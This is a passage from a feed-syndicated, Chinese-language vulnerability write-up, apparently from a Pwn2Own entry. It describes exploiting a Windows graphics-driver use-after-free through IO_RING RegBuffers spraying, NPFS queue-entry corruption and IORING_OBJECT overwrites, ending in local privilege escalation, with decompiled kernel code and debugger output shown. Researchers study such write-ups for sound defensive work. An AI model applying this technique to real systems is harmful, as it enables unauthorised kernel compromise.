&amp;</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;QueuedObjectVftable);</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">CFlipTokenOperation::~CFlipTokenOperation</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">);</span><br/><span leaf="">}</span></code></pre><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">如你所见，释放序列化缓冲区时会获取 FlipManager 对象的锁，但在 UAF 路径中，它在释放锁之后才将数据拷回用户态。</span></p></blockquote><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">利用</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">到这一步，我们已经拥有了一个任意写原语，可以多次向任意位置写入垃圾数据。如前所述，我们需要找到一个目标位置——具体来说是一个与数据对象大小匹配的位置——这样当数据被查询时，我们就能触发越界泄露或使用更受控的数据进行越界写。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于信息泄露涉及分页池（Paged Pool），我立刻想到了 </span><strong><span leaf="">WNF 对象</span></strong><span leaf="">。然而，问题来了：将 </span><strong><span leaf="">WNF 对象</span></strong><span leaf="">放入序列化缓冲区时，我们必须指定 </span><strong><span leaf="">WNF State Name</span></strong><span leaf="">，因为只有 State Name 才提供了到 </span><strong><span leaf="">WNF State Data</span></strong><span leaf="">的链接。正如我之前提到的，我们需要找到一个具有足够大池大小的对象，才能成功泄露其中包含的地址。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这时，在我的导师 tunglth 的帮助下，他提出了喷射 </span><strong><span leaf="">IO_RING</span></strong><span leaf="">RegBuffers 数组并稳定该漏洞的想法，因为 RegBuffers 数组的池是 PagedPool，且大小可变，我可以指定一个与图形驱动条件相关的更大尺寸。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">LONG __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">IopIoRingDispatchRegisterBuffers</span></span><span leaf="">(_IORING_OBJECT *Object, _NT_IORING_SQE *param)</span><br/><span leaf="">{</span><br/><span leaf="">  [...]</span><br/><span leaf="">      }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">      {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">kRegBuffers</span></span><span leaf=""> = (_IOP_MC_BUFFER_ENTRY **)</span><span style="color: rgb(0, 92, 197);"><span leaf="">ExAllocatePool2</span></span><span leaf="">(</span><br/><span leaf="">                                                 BugCheckParameter3: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x101u</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Size</span></span><span leaf="">: </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf=""> * regBufferCnt,</span><br/><span leaf="">                                                 Tag: </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;BRrI&#39;</span></span><span leaf="">);</span><br/><span leaf="">        _kRegBuffers = </span><span style="color: rgb(0, 92, 197);"><span leaf="">kRegBuffers</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !</span><span style="color: rgb(0, 92, 197);"><span leaf="">kRegBuffers</span></span><span leaf=""> )</span><br/><span leaf="">        {</span><br/><span leaf="">          BufferEntry = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC000009A</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_45;</span><br/><span leaf="">        }</span><br/><span leaf="">        RegBuffersCount_4 = RegBuffersCount;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)regBufferCnt &lt; RegBuffersCount )</span><br/><span leaf="">          RegBuffersCount_4 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)regBufferCnt;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Size</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf=""> * RegBuffersCount_4;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">memmove</span></span><span leaf="">(a1: </span><span style="color: rgb(0, 92, 197);"><span leaf="">kRegBuffers</span></span><span leaf="">, Src: _kRegBuffers_, </span><span style="color: rgb(0, 92, 197);"><span leaf="">Size</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">memset_0</span></span><span leaf="">(a1: _kRegBuffers_, Val: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">Size</span></span><span leaf="">);</span><br/><span leaf="">        RegBuffersCount_2 = RegBuffersCount;</span><br/><span leaf="">        Buffers = Buffers_1;</span><br/><span leaf="">        PreviousMode = PreviousMode_1;</span><br/><span leaf="">      }</span><br/><span leaf="">      Ind = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> ( (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)Ind &lt; (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)regBufferCnt )</span><br/><span leaf="">      {</span><br/><span leaf="">        [...]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( Length )</span><br/><span leaf="">          {</span><br/><span leaf="">            BufferEntry = </span><span style="color: rgb(0, 92, 197);"><span leaf="">IopMcCreateBufferEntry</span></span><span leaf="">(</span><br/><span leaf="">                            Address: Address_1,</span><br/><span leaf="">                            Length,</span><br/><span leaf="">                            PreviousMode: PreviousMode_1,</span><br/><span leaf="">                            BufferEntry: BufferEntry_);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( BufferEntry &lt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_45;</span><br/><span leaf="">          }</span><br/><span leaf="">          Buffers = Buffers_1;</span><br/><span leaf="">        }</span><br/><span leaf="">        Ind = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)(Ind + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">);</span><br/><span leaf="">        RegBuffersCount_2 = RegBuffersCount;</span><br/><span leaf="">        PreviousMode = PreviousMode_1;</span><br/><span leaf="">      }</span><br/><span leaf="">      Object-&gt;RegBuffersCount = Ind;</span><br/><span leaf="">      Object-&gt;RegBuffers = _kRegBuffers;</span><br/><span leaf="">   [...]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> IopCompleteIoRingEntry(a1: (__int64)Object, a2: param-&gt;UserData, a3: &amp;v28, Increment: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该 PagedPool 中还包含多个内核指针——具体来说是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_IOP_MC_BUFFER_ENTRY</span></code><span leaf="">——它们同样具有任意大小。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了在内核中实现任意读写操作，我决定直接使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IORING_OBJECT</span></code><span leaf="">，采用一种众所周知的 技术。以下是我的利用步骤：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">一个线程持续分配 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RegBuffer</span></code><span leaf="">数组，其中每个数组包含所有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_IOP_MC_BUFFER_ENTRY</span></code><span leaf="">元素，大小按照 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IORING_OBJECT</span></code><span leaf="">确定。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">另一个线程触发信息泄露。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">泄露成功触发后，释放所有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IORING_OBJECT</span></code><span leaf="">以释放每个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_IOP_MC_BUFFER_ENTRY</span></code><span leaf="">，然后持续生成与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IORING_OBJECT</span></code><span leaf="">大小对应的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NPFS Data Queue Entry</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">触发任意写，写入某个 NPFS Data Queue Entry 的 </span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">size</span></strong><span leaf="">字段。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过 Peek 找到被篡改的 NPFS Entry。至此我们拥有了越界读。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">同时释放 </span><strong style="margin-top: 0px;"><span leaf="">NPFS</span></strong><span leaf="">并创建 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IORING_OBJECT</span></code><span leaf="">，使 IORING 落入释放的槽位，同时触发越界泄露以确定 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IORING_OBJECT</span></code><span leaf="">的位置。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">确定 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IORING_OBJECT</span></code><span leaf="">的位置后，按照已知技术，利用任意写漏洞写入 RegBuffer 数组和 RegBufferCount。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">本地提权（LPE）并清理。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里有一个新问题：在第 7 步中，RegBuffer 数组指针必须是一个有效指针（即必须是有效的，而非垃圾指针）。在调试过程中，我发现这是操作系统的 tick 时间；它总是以数字 1 开头。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">: kd&gt; dq </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFFF78000000014</span></span><br/><span leaf="">fffff780`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000014</span></span><span leaf="">  01dd19b4`45380b65 ac5ed800`01dd19b4</span><br/><span leaf="">fffff780`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000024</span></span><span leaf="">  0000003a`0000003a 003a0043`</span><span style="color: rgb(0, 92, 197);"><span leaf="">86648664</span></span><br/><span leaf="">fffff780`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000034</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">004e0049</span></span><span leaf="">`0057005c </span><span style="color: rgb(0, 92, 197);"><span leaf="">00530057</span></span><span leaf="">`004f0044</span><br/><span leaf="">fffff780`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000044</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf="">`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf="">`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><br/><span leaf="">fffff780`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000054</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf="">`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf="">`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><br/><span leaf="">fffff780`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000064</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf="">`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf="">`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><br/><span leaf="">fffff780`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000074</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf="">`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf="">`</span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">它总是以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">01</span></code><span leaf="">开头。利用这一点，我不再将整个值一次性写入 RegBuffers 字段，而是逐字节写入，目标是形成类似 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">010101010...</span></code><span leaf="">的模式。有了这个值，我就可以轻松使用 </span><strong><span leaf="">VirtualAlloc</span></strong><span leaf="">分配一块内存区域，并完全按照该技术完成漏洞利用。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结语</span></h2><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 6" class="rich_pages wxw-img" data-imgfileid="100013082" data-type="jpeg" style="max-width: 100%;height: auto !important;" data-ratio="0.6784630940343782" data-w="989" src="https://wechat2rss.xlab.app/img-proxy/?k=008835e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSgbPgqvibU0D4PkmDPjyIzVIFP0OA8PRic0r0s7f81vticu6NQwibgdGSZter7bGO1bKFib8rzTpQqCHXp1TmQMOA0I3jVrqPUcKPG0%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虽然最近关于 AI 用于漏洞挖掘和利用的文章激增，但我仍希望我们能从 AI 的到来中真正学到一些东西。我认为它应该让我们更容易接触事物，而不是成为我们不理解却使用的工具。在分析这个漏洞时，我大量依赖了 AI——它让逆向工程变得更简单，帮助我更快、更有效地理解事物。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">参考</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 – Winsider Seminars &amp; Solutions Inc.</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://www.vergiliusproject.com" target="_blank">https://www.vergiliusproject.com</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://www.fox-it.com/be/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1" target="_blank">https://www.fox-it.com/be/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://dungnm.hashnode.dev/pwn2own-with-microslop">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d58c7184&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496739%26idx%3D1%26sn%3D2fcfebfd6d942b9dfe793963cb862fcd">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Jul 2026 11:59:00 +0800</pubDate>
    </item>
    <item>
      <title>不存在的 SID：在打完补丁的 AD CS 上绕过 KB5014754 获取域管理员权限</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496738&amp;idx=1&amp;sn=bcf826d1ec8b630fc993ebc588d9df21</link>
      <description>一台完全打过补丁的 AD CS 给我签发了一张客户端认证证书，其中完全没有 szOID_NTDS_CA_SECURITY_EXT。没有请求者 SID——不是我的，也不是任何人的。KB5014754 的全部意义所在的那条扩展，就这样从签发的证书中消失了。</description>
      <content:encoded><![CDATA[<p><span>Mohamed Alzhrani</span> <span>2026-07-28 12:50</span> <span style="display: inline-block;">中国香港</span></p>






  
